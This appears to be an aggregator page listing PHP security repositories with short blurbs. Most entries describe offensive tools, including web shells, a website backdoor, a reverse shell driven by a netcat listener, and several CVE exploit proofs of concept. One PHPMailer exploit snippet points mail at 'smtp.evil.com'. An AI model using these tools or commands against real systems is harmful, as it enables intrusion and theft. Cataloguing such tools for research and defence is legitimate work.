pi-hole

Network-wide ad blocking via your own Linux hardware The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content without installing any client-side software. Easy-to-install : our dialogs walk you through the simple installation process in less than ten minutes Resolute :...

wordpress-shell

wordpress-shell Cheap & Nasty Wordpress Command Execution Shell. Execute Commands as the webserver you are serving wordpress with! Uploaded shell will probably be at /wp-content/plugins/shell/shell.php Install To install the shell, we are assuming you have administrative access to the Wordpress...

CVE-2024-34220

Human Resource Management System Project in PHP and MySQL Free Source Code Submitter: Kha Do Vender: SourceCodester AFFECTED AND/OR FIXED VERSION Vulnerable File applyleave.php PROBLEM TYPE Vulnerability Type SQL Injection Impact The attackers can exploit this vulnerability to gain database...

CVE-2020-25540

CVE-2020-25540 ThinkAdmin CVE-2020-25540 poc Since the directory traversal vulnerability is too limited, only the file reading function has been implemented. Please go easy on the criticism, and I appreciate your guidance. The logic is based on the PHP source code; the key is the encryption metho...

PHP-CVE-2023-2023-2640-POC-Escalation

I am not responsible if you use the code improperly or illegally. The purpose of the script is purely educational and nothing more. PHP-CVE-2023-2023-2640-POC-Escalation in this script in PHP I tried to create exploit of --cve-2023-2640--privilege-escalation CVE-2023-32629 & CVE-2023-2640...

hiphp

🚨 New Build Available! WebHole now supports all major web languages. Check it out on GitHub: WebHole on GitHub Hiphp Free & Open Source project for creating a backdoor to control PHP-based websites. ✓ Command Line Interface CLI. ✓ Graphical User Interface GUI. ✓ Web Application. ✓ Python Package....

password-generator

Password Generator For BruteForce or Md5 Crack/Comparison root@kitploit: $ php password-generator --info="victim name,victim surname , victim age , victim email" --info Get all information from victim. --path The area where the file will be saved optional. --md5 The passwords created with this...

Cloudflare-Bypass

Cloudflare-Bypass Cloudflare Bypass tools | PentestCore Is a tool for bypassing Cloudflare that you can use to get the master IP of site server. How to use Linux : Enter the below command in the terminal : git clone https://github.com/pentestcore/Cloudflare-Bypass.git cd Cloudflare-Bypass Install...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2024-53345

CVE-2024-53345 Critical 0 Day in Car Rental Management System Versions 1.0 - 1.3 Description: A critical vulnerability exists in the System Settings module's file upload functionality within the Car Rental Management System versions 1.0 to 1.3, allowing low-privileged users to upload arbitrary...

TimeAfterFree

TimeAfterFree PHP 8 sandbox escape PoC demonstrating a disablefunctions bypass on Unix-like systems. This exploit leverages a use-after-free bug to bypass disablefunctions and execute system commands. The exploitation techniques used for leaking heap pointers and obtaining read/write primitives...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 Remote File Read This script demonstrates how to exploit a vulnerability in systems using the iconv library when it mishandles character encoding conversions, as described in CVE-2024-2961. It allows an attacker to read arbitrary files from the server by taking advantage of PHP filt...

Test-7-2-0-PHP-CVE-2018-5711

This repository does not have a README...

CVE-2025-7461

CVE-2025-7461: SQL Injection Vulnerability Analysis in Modern Bag E-commerce System 🌐 Language / 语言 : English | 简体中文 Vulnerability Overview Vulnerability Database: https://vuldb.com/?id.316112 Project Source: https://code-projects.org/modern-bag-in-php-css-javascript-and-mysql-free-download/...

CVE-2026-54806

WP Activity Log PHP Object Injection CVE-2026-54806 PoC 📜 Description CVE-2026-54806 is a critical CVSS 9.8 unauthenticated PHP Object Injection vulnerability in the WP Activity Log WordPress plugin wp-security-audit-log by Melapress. An unauthenticated attacker can inject serialized PHP objects...

YAPS

YAPS - Y et A nother P HP S hell Yes, as the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there, but with some advantages. It is a single PHP file containing all its functions and you can control it via a simple TCP listener e.g. nc -lp 1337. In the...

CVE-2024-10449-patch

Patch for CVE-2024-10449 https://nvd.nist.gov/vuln/detail/CVE-2024-10449 Steps: Download the patched loginAction.php file from this repository https://raw.githubusercontent.com/g-u-i-d/CVE-2024-10449-patch/refs/heads/main/loginAction.php and replace the vulnerable version with this one. Edit the...

PHP-Fuzzer

PHP Fuzzer This library implements a fuzzer for PHP, which can be used to find bugs in libraries particularly parsing libraries by feeding them "random" inputs. Feedback from edge coverage instrumentation is used to guide the choice of "random" inputs, such that new code paths are visited...

zappzarapp-php-security

⚡ zappzarapp/security Comprehensive PHP security library providing CSP, Security Headers, CSRF protection, Secure Cookies, Password Validation, Input Sanitization, Rate Limiting, SRI, Secrets Loading, Encryption, Session Security, TOTP two-factor authentication, Signed URLs, and Security Event...

cnext-exploits

CNEXT exploits Exploits for CNEXT CVE-2024-2961, a buffer overflow in the glibc's iconv, by @cfreal Usage root@kitploit: $ git clone --recurse-submodules https://github.com/ambionics/cnext-exploits.git $ pip install -r requirements.txt Technical analysis The vulnerability and exploits are describ...